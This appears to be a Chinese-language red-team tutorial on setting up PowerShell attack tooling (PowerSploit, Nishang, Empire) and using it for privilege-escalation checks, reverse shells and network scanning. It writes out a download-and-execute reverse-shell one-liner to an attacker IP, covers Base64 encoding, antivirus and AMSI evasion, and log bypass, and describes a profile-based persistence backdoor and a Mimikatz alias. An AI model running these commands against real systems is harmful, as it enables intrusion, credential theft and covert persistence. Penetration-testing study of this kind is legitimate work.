红队PowerShell环境搭建与实战配置指南

发布时间:2026/6/30 19:21:22
红队PowerShell环境搭建与实战配置指南 1. 项目概述为什么需要这份红队PowerShell指南如果你是一名安全从业者或者对渗透测试、红队攻防演练感兴趣那么“PowerShell”这个词对你来说一定不陌生。它早已不是那个简单的Windows命令行外壳而是演变成了一个功能强大、深度集成于Windows生态的自动化平台和脚本引擎。在红队Red Team的视角下PowerShell更是被赋予了“瑞士军刀”般的地位——从信息收集、权限提升、横向移动到持久化驻留几乎每个攻击环节都能看到它的身影。然而很多朋友在入门时面对网络上浩如烟海的PowerShell工具和脚本常常感到无从下手。是直接下载一个庞大的框架还是逐个寻找独立脚本安装过程报错怎么办如何配置才能让工具在目标环境中稳定、隐蔽地运行这些问题往往比工具本身的使用更让人头疼。这份指南的目的就是为你扫清这些障碍。我将基于多年的实战和教学经验带你从零开始搭建一个专为红队活动优化的PowerShell工具环境。我们不仅会安装工具更会深入理解每个配置步骤背后的安全考量和实战意义确保你拿到手的是一把锋利且称手的“武器”而不是一堆无法运行的代码。2. 核心工具选型与生态解析在开始动手之前我们必须明确要安装什么。红队领域的PowerShell工具生态非常丰富大致可以分为三类综合性攻击框架、模块化工具集以及独立的单功能脚本。我们的策略是“核心框架精选模块”在保证功能全面的同时避免环境过于臃肿。2.1 核心框架PowerShell Empire 与 Cobalt Strike 的 PowerShell 组件对于红队而言一个成熟的指挥与控制C2框架是核心。这里我首推PowerShell Empire。虽然其官方维护已趋于平静但其设计理念和模块化架构依然是学习红队PowerShell的绝佳教材。它完全基于PowerShell 2.0构建兼容性极佳提供了从监听器Listener、攻击载荷Stager到模块化攻击Module的完整链条。通过Empire你可以直观地理解一个C2框架是如何工作的。另一个不可忽视的巨头是Cobalt Strike。虽然其主体是Java编写的但其强大的攻击能力很大程度上通过PowerShell实现的Aggressor Script和各类PowerShell攻击载荷如powerpick、psinject来扩展。许多公开的、高质量的PowerShell攻击技术都源自或适配了Cobalt Strike。因此我们的环境配置必须确保能完美运行这些“行业标准”的Payload。注意学习和使用这些工具必须严格限定在授权的测试环境、自己的实验室或CTF场景中。未经授权对他人系统进行测试是违法行为。2.2 模块化工具集PowerSploit 与 Nishang如果说框架是大脑和中枢那么模块化工具集就是锋利的四肢。PowerSploit是一个经典的攻击模块集合包含了代码执行Invoke-Shellcode、权限提升PowerUp、信息收集Recon、持久化Persistence等众多实用模块。它的代码质量高是理解各种攻击技术原理的宝库。Nishang则是另一款功能极其丰富的框架特别在针对Windows的渗透测试方面它集成了大量实用的脚本比如下载执行、键盘记录、内网扫描、提取密码等。Nishang的许多脚本设计巧妙绕过防御的思路值得深入研究。我们的安装方案会将这些工具集作为模块集成到我们本地的PowerShell环境中实现即需即用。2.3 环境与依赖管理PowerShellGet 与 NuGet现代PowerShell5.1及以上版本的强大之处在于其包管理器PowerShellGet底层基于NuGet。它允许我们像安装软件一样从PSGalleryPowerShell官方仓库或其他私有仓库安装、更新和管理模块。我们将大量使用它来安装一些辅助性模块例如用于解析凭证的PowerView实际上是PowerSploit的一部分但有独立版本、用于信息收集的ADModule需手动下载等。确保你的系统能正常访问PSGallery并安装模块是后续一切工作的基础。这通常涉及到执行策略ExecutionPolicy和网络协议TLS的配置这也是新手最容易卡住的地方。3. 逐步安装与深度配置实战接下来我们进入实战环节。我将以Windows 10/11和Windows Server 2016/2019/2022为环境演示从零开始的完整过程。假设你使用的是一台干净的Windows虚拟机作为你的攻击机强烈建议在虚拟机中操作。3.1 阶段一基础PowerShell环境加固与准备首先我们需要一个功能完整且网络畅通的PowerShell环境。打开一个以管理员身份运行的PowerShell窗口。步骤1解除执行策略限制默认情况下PowerShell的执行策略ExecutionPolicy可能限制脚本运行。我们需要临时放宽此策略以进行安装。请注意这只是在当前会话或为当前用户设置并非永久降低安全级别。# 查看当前执行策略 Get-ExecutionPolicy -List # 为当前用户设置远程签名脚本可执行推荐用于配置环境 Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser这里选择RemoteSigned意味着可以运行本地编写的脚本以及来自远程的、但拥有可信签名的脚本。对于我们即将从GitHub下载的脚本它们通常是未签名的所以我们后续会通过其他方式加载。步骤2启用现代TLS协议以访问PSGalleryPSGallery等在线仓库要求使用TLS 1.2协议。旧版本PowerShell或系统可能默认未启用会导致Invoke-WebRequest或Install-Module命令失败。# 强制.NET Framework使用TLS 1.2。这条命令需要以管理员运行且对当前会话生效。 [Net.ServicePointManager]::SecurityProtocol [Net.SecurityProtocolType]::Tls12 # 你可以将其添加到你的PowerShell配置文件$PROFILE中使其每次启动自动生效。 if (-not (Test-Path $PROFILE)) { New-Item -ItemType File -Path $PROFILE -Force } Add-Content -Path $PROFILE -Value n[Net.ServicePointManager]::SecurityProtocol [Net.SecurityProtocolType]::Tls12执行后[Net.ServicePointManager]::SecurityProtocol返回的结果应包含Tls12。有些教程会让你设置为Tls, Tls11, Tls12三者但通常只设置Tls12就已足够且更安全。步骤3信任PSGallery仓库首次使用PSGallery需要将其设置为受信任的仓库。# 安装PowerShellGet模块的最新版如果尚未安装 Install-Module -Name PowerShellGet -Force -AllowClobber -Scope CurrentUser # 设置PSGallery为受信任仓库 Set-PSRepository -Name PSGallery -InstallationPolicy Trusted3.2 阶段二核心红队工具安装与集成现在基础环境已就绪我们开始安装核心工具。我们将采用“本地克隆模块化导入”的方式这样便于管理和更新。步骤1创建专用工作目录并克隆工具库在你的用户目录如C:\Users\YourName\下创建一个RedTeam文件夹所有工具都将放在这里。# 创建目录 $workDir $env:USERPROFILE\RedTeam New-Item -ItemType Directory -Path $workDir -Force Set-Location $workDir # 安装Git如果尚未安装。你可以从 git-scm.com 下载安装。 # 假设Git已安装我们克隆必要的仓库。 # 克隆 PowerSploit git clone https://github.com/PowerShellMafia/PowerSploit.git # 克隆 Nishang git clone https://github.com/samratashok/nishang.git # 克隆 Empire (为了获取其模块和思路我们使用社区维护的版本例如 BC-Security的版本) git clone https://github.com/BC-SECURITY/Empire.git实操心得直接克隆主分支master/main可能包含最新的、但不一定稳定的代码。对于追求稳定性的红队演练可以考虑在GitHub上找到特定版本的Release Tag进行下载。例如PowerSploit的某个经典稳定版本。步骤2将工具路径加入PSModulePath为了让PowerShell能像调用内置命令一样方便地调用这些工具的模块我们需要将其所在目录添加到PS模块搜索路径中。这分为“仅当前会话”和“永久生效”两种方式。# 方法一仅当前会话生效临时测试用 $env:PSModulePath ;$workDir\PowerSploit;$workDir\Nishang\Utility # 方法二永久生效针对当前用户 $userModulePath [Environment]::GetFolderPath(MyDocuments) \WindowsPowerShell\Modules # 首先将工具复制到标准用户模块目录更规范 Copy-Item -Path $workDir\PowerSploit\* -Destination $userModulePath -Recurse -Force -Container # 然后系统PSModulePath会自动包含$userModulePath无需手动添加环境变量。我更推荐方法二因为它更符合PowerShell模块的管理规范避免了路径混乱。复制后你可以通过Get-Module -ListAvailable看到PowerSploit等模块。步骤3安装关键辅助模块从PSGallery安装一些极其有用的通用模块。# 1. ImportExcel用于将结果导出为Excel报告神器。 Install-Module -Name ImportExcel -Scope CurrentUser -Force # 2. PSWindowsUpdate用于在测试中自动化系统更新检查信息收集环节。 Install-Module -Name PSWindowsUpdate -Scope CurrentUser -Force # 3. 用于Active Directory信息收集的模块RSAT工具的一部分如果域环境测试需要 # 通常需要在Windows功能中开启“RSAT: Active Directory Domain Services and Lightweight Directory Services Tools” # 或者从微软下载中心安装RSAT包。安装后相关模块如ActiveDirectory会自动可用。3.3 阶段三Empire框架的安装与初始化Empire的安装稍复杂因为它有服务端Linux上运行为佳和客户端。为了在本指南中保持聚焦我们主要配置其PowerShell相关的攻击载荷生成和模块使用。我们可以在Windows上运行Empire的客户端并连接到一个在Linux虚拟机如Kali上运行的服务端。在Linux攻击机如Kali上安装Empire服务端# 在Kali终端中 sudo apt update sudo apt install -y powershell-empire # 或者从GitHub克隆推荐以获得最新社区版 git clone https://github.com/BC-SECURITY/Empire.git cd Empire sudo ./setup/install.sh # 安装后运行服务端 sudo powershell-empire server在Windows攻击机上配置Empire客户端连接Empire安装后其data目录下包含了所有PowerShell模块和Stager模板。我们更关心的是如何利用这些资源。你可以直接从克隆的Empire仓库的/empire/data/module_source/目录下学习其PowerShell模块源码。为了生成Empire兼容的Payload你需要在Linux服务端上操作。但我们可以将Windows配置为能正确执行Empire生成的PowerShell Payload。关键点在于Empire Payload经常使用-EncodedCommand参数来传递Base64编码的压缩脚本。确保你的Windows PowerShell能正常解码并执行这类命令。测试方法在Linux Empire服务端生成一个Stager例如launcher powershell将生成的PowerShell命令复制到你的Windows PowerShell中执行应该能成功回连。集成Empire模块到本地你可以将Empire中优秀的、独立的PowerShell模块例如某些凭证窃取、信息收集脚本复制到你的本地模块目录$userModulePath中方便直接调用。但请注意版权和代码兼容性。3.4 阶段四环境优化与个性化配置一个高效的红队环境离不开贴心的配置。1. 创建自定义配置文件PowerShell配置文件$PROFILE是你的利器。我们之前已经添加了TLS设置现在添加更多功能。# 打开或创建配置文件 notepad $PROFILE在配置文件中添加以下内容# 1. 自定义提示符显示当前路径和admin权限 function prompt { $identity [Security.Principal.WindowsIdentity]::GetCurrent() $principal New-Object Security.Principal.WindowsPrincipal $identity $adminRole [Security.Principal.WindowsBuiltInRole]::Administrator $isAdmin $principal.IsInRole($adminRole) $path (Get-Location).Path if ($isAdmin) { Write-Host [ADMIN] -NoNewline -ForegroundColor Red } Write-Host $path -NoNewline -ForegroundColor Green return } # 2. 常用工具模块的自动导入别名示例导入PowerSploit的Invoke-Mimikatz Import-Module PowerSploit -Function Invoke-Mimikatz -ErrorAction SilentlyContinue Set-Alias mimikatz Invoke-Mimikatz -ErrorAction SilentlyContinue # 3. 设置默认编码为UTF-8避免中文乱码 $OutputEncoding [System.Text.Encoding]::UTF8 # 4. 定义几个常用函数例如快速Base64编码解码 function Encode-Base64($string) { [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($string)) } function Decode-Base64($string) { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($string)) }保存后重启PowerShell你就能看到变化。2. 日志与操作记录红队操作必须可审计。启用PowerShell自身的转录功能记录所有输入输出。# 在配置文件中添加启动自动转录到指定文件注意会记录敏感信息仅限测试环境使用 Start-Transcript -Path $env:USERPROFILE\Documents\PSLogs\$(Get-Date -Format yyyyMMdd-HHmmss).log -Append重要警告转录功能会记录所有命令及输出包括密码、密钥等敏感信息。仅在完全可控的测试实验室环境中使用在生产环境或真实对抗中禁用此功能并采取更安全的操作记录方式。4. 核心工具使用示例与避坑指南环境搭建好了我们通过几个经典场景看看如何调用这些工具并分享一些避坑经验。4.1 场景一本地信息收集与权限提升检查使用PowerSploit的PowerUp模块来检查常见的本地权限提升漏洞。# 首先导入模块如果已通过配置文件或PSModulePath自动加载则无需此步 Import-Module PowerSploit -Verbose # 运行所有检查 Invoke-AllChecks # 或者只运行特定检查例如服务可执行文件权限检查 Get-ModifiableServiceFile | Select-Object Name, BinaryPath, ModifiableFile常见问题与排查错误无法加载文件...因为在此系统上禁止运行脚本原因执行策略仍然限制。解决确认已按3.1步骤1设置了RemoteSigned。如果是从网络共享位置运行可能需要设置为Unrestricted极不推荐或将脚本复制到本地再执行。错误模块声明与清单中指定的模块版本冲突原因同一模块的不同版本冲突。解决使用Get-Module -Name PowerSploit -ListAvailable查看所有版本用Remove-Module移除已加载的旧版或用Import-Module -Force强制导入指定路径的新版。4.2 场景二生成一个简单的Payload并测试使用Nishang生成一个反弹Shell的Payload。# 进入Nishang目录 Set-Location $workDir\Nishang\Shells # 查看脚本帮助 Get-Help .\Invoke-PowerShellTcp.ps1 -Full # 假设你的攻击机IP是192.168.1.100监听端口4444 # 你需要在一台攻击机上用Netcat或PowerShell监听4444端口。 # 在目标上你需要一种方式执行以下命令例如通过钓鱼下载后执行 # 方法1直接下载并执行一行命令适合短命令执行 $urlhttp://192.168.1.100/Invoke-PowerShellTcp.ps1; $wsNew-Object Net.WebClient; iex ($ws.DownloadString($url)); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.100 -Port 4444 # 方法2更隐蔽的方式将脚本内容编码为一长串Base64命令 # 首先在攻击机上生成编码后的命令 $scriptContent Get-Content .\Invoke-PowerShellTcp.ps1 -Raw $bytes [System.Text.Encoding]::Unicode.GetBytes($scriptContent) $encodedCommand [Convert]::ToBase64String($bytes) Write-Host powershell.exe -EncodedCommand $encodedCommand -Reverse -IPAddress 192.168.1.100 -Port 4444 # 然后将输出的整行命令在目标上执行。避坑指南杀软拦截Nishang等公开脚本的签名早已被各大杀毒软件标记。在真实测试中直接使用原脚本极易被拦截。必须进行混淆、编码、分片或自己重写关键功能。网络连通性确保攻击机防火墙允许入站连接监听端口且目标能访问到攻击机的IP和端口。在内网穿透测试中需要配置好端口转发。AMSI绕过Windows Antimalware Scan Interface (AMSI) 会扫描PowerShell内容。公开的AMSI绕过代码也大多被标记。测试时可在实验室环境暂时禁用AMSI不推荐在生产环境或真实目标尝试或研究最新的绕过技术。4.3 场景三内网主机发现与端口扫描使用PowerShell原生命令配合Nishang进行简单的内网侦察。# 1. 基础的ICMP Ping扫描存活主机发现 1..254 | ForEach-Object { Test-Connection -ComputerName 192.168.1.$_ -Count 1 -Quiet -ErrorAction SilentlyContinue } | Select-Object {NameIP;Expression{192.168.1.$_}}, {NameAlive;Expression{$_}} # 2. 使用Nishang的端口扫描脚本更强大 Import-Module $workDir\Nishang\Scan\Invoke-PortScan.ps1 Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.254 -ResolveHost -ScanPort -Port 80,443,3389,445性能与隐蔽性考量上述循环Ping扫描速度较慢且会触发大量ICMP日志。在内网隐蔽侦察时可以考虑使用arp -a命令的缓存结果或者使用基于TCP SYN的扫描需要Raw Socket权限通常需管理员。Invoke-PortScan默认使用TCP Connect扫描也会建立完整连接日志明显。在需要隐蔽的测试中应控制扫描速度-Sleep参数或使用更专业的工具如nmap通过PowerShell调用其命令行。5. 高级配置持久化、隐蔽与对抗一个合格的红队环境不仅要能攻击还要考虑自身的隐蔽性和在目标上的持久化能力。这里讨论几个高级配置点。5.1 PowerShell日志清理与绕过默认情况下PowerShell会记录大量日志脚本块日志、模块日志等。在高度戒备的环境中需要清理或绕过。查看日志位置事件查看器中应用程序和服务日志 - Microsoft - Windows - PowerShell。操作前禁用日志临时可以通过修改注册表或使用Set-Item命令临时禁用某些日志功能但这本身会产生日志条目。更高级的做法是使用内存执行、.NET反射等方式不直接调用powershell.exe而是调用System.Management.Automation命名空间。混淆与编码使用工具如Invoke-Obfuscation对脚本进行混淆可以绕过基于签名的检测和部分日志记录。但要注意过于规律的混淆特征本身也会被检测。5.2 用于持久化的PowerShell配置文件位置如果你获得了目标主机的权限并希望建立持久化可以在目标的PowerShell配置文件中植入后门。所有用户全局配置$PSHOME\profile.ps1(需要管理员权限)当前用户配置$HOME\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1在配置文件中可以写入一段从远程C2下载并执行Payload的代码或者一个每N次执行触发一次的“睡美人”后门。安全警示此部分内容仅用于理解攻击者手法以便更好地进行防御蓝队。在未经授权的系统上进行此类操作是严重的违法行为。5.3 工具更新与维护红队工具迭代很快。你需要定期更新你的工具库。# 进入工具目录使用git拉取更新 Set-Location $workDir\PowerSploit git pull origin master Set-Location $workDir\Nishang git pull origin master # 更新通过PowerShellGet安装的模块 Update-Module -Name ImportExcel, PSWindowsUpdate -Force更新后务必在测试环境中验证新功能或修改是否破坏了原有脚本的兼容性。6. 构建你的专属工具库与工作流最后分享我个人的工作流我不会直接使用克隆下来的原始脚本。我会创建一个My-Toolkit目录里面存放的是我根据原始脚本修改、精简、重构后的版本。代码重构去除原始脚本中我不需要的功能添加更详细的注释优化参数逻辑使其更符合我的使用习惯。功能整合将多个脚本中常用的功能比如HTTP请求、加解密、字符串处理提取出来写成独立的、通用的函数模块。签名与封装为了在限制严格的环境中使用我会为我的核心脚本集申请代码签名证书即使是自签名然后进行封装。或者将关键逻辑用C#编写成DLL通过PowerShell反射加载。文档化为我的每一个工具函数编写清晰的Markdown说明包括用途、参数、示例、依赖和已知问题。这个过程虽然耗时但能让你真正“拥有”这些工具理解每一行代码的意图在遇到问题时能快速调试和修改。这才是从“工具使用者”迈向“工具锻造者”的关键一步。环境搭建只是起点真正的价值在于如何将这些工具灵活、隐蔽、有效地应用于复杂的对抗场景中。这份指南提供了一条清晰的路径和扎实的基础希望能帮助你在红队PowerShell的探索之路上走得更稳、更远。记住保持学习保持好奇最重要的是永远在合法授权的边界内进行测试和研究。